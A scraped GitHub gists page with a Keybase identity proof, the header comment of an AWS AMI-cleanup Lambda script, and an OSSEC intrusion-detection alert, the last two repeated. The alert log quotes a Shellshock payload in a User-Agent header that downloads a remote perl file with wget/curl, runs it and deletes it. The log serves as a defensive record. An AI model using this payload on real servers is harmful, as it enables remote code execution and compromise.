Matt Burdan burdzwastaken

## keybase.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                burdzwastaken
                / keybase.md
            
            
              Created
              September 18, 2017 20:03
            
          
    Keybase proof

I hereby claim:

I am burdzwastaken on github.
I am burdz (https://keybase.io/burdz) on keybase.
I have a public key whose fingerprint is 3819 91A4 8A07 E659 9716  B2F5 AAAD 9B13 4D3A C027

To claim this, I am signing this object:

  
## lambdaAMICleanup.py
# Automated AMI and Snapshot Deletion
#
# @author Robert Kozora <bobby@kozora.me>
#
# This script will search for all instances having a tag with "Backup" or "backup"
# on it. As soon as we have the instances list, we loop through each instance
# and reference the AMIs of that instance. We check that the latest daily backup
# succeeded then we store every image that's reached its DeleteOn tag's date for
# deletion. We then loop through the AMIs, deregister them and remove all the
# snapshots associated with that AMI.

## ossec.skid.log
OSSEC HIDS Notification.
2016 Mar 20 09:38:57

Received From: ip->/var/log/nginx/access.log
Rule: 31151 fired (level 10) -> "Multiple web server 400 error codes from same source ip."
Portion of the log(s):

119.188.4.3 - - [20/Mar/2016:09:38:55 +0000] "GET /gitweb/ HTTP/1.1" 404 151 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22wget http://IP/asd.tar -O /tmp/asd.tar;curl -O /tmp/asd.tar http://IP/asd.tar ; perl /tmp/asd.tar; rm -fr /tmp/asd.tar;rm -rf /tmp/asd.*\x22);'"
	# Automated AMI and Snapshot Deletion
	#
	# @author Robert Kozora <bobby@kozora.me>
	#
	# This script will search for all instances having a tag with "Backup" or "backup"
	# on it. As soon as we have the instances list, we loop through each instance
	# and reference the AMIs of that instance. We check that the latest daily backup
	# succeeded then we store every image that's reached its DeleteOn tag's date for
	# deletion. We then loop through the AMIs, deregister them and remove all the
	# snapshots associated with that AMI.
	OSSEC HIDS Notification.
	2016 Mar 20 09:38:57

	Received From: ip->/var/log/nginx/access.log
	Rule: 31151 fired (level 10) -> "Multiple web server 400 error codes from same source ip."
	Portion of the log(s):

	119.188.4.3 - - [20/Mar/2016:09:38:55 +0000] "GET /gitweb/ HTTP/1.1" 404 151 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22wget http://IP/asd.tar -O /tmp/asd.tar;curl -O /tmp/asd.tar http://IP/asd.tar ; perl /tmp/asd.tar; rm -fr /tmp/asd.tar;rm -rf /tmp/asd.*\x22);'"